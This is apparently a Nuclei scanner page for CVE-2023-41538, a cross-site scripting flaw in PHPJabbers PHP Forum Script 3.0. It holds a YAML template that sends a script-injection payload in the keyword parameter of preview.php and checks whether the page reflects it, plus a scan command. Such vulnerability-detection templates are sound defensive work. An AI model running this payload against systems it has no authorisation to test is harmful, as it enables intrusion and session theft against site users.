PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting

ID: CVE-2023-41538

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers

Description

PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.

YAML Source

id: CVE-2023-41538

info:
  name: PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Forum-Script-3.0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41538
    - https://github.com/2lambda123/Windows10Exploits
    - https://github.com/codeb0ss/CVE-2023-41538-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41538
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43265
    cpe: cpe:2.3:a:phpjabbers:php_forum_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: php_forum_script
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "New Question", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100dbe94c4df44b46345d96b7840858f63a25d0cc4306d7f69201095d82eeae30c8022100b71c0d665bd057f290dfdacac6215fac592002194a40f4bebecda1eb82d8805a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-41538.yaml"

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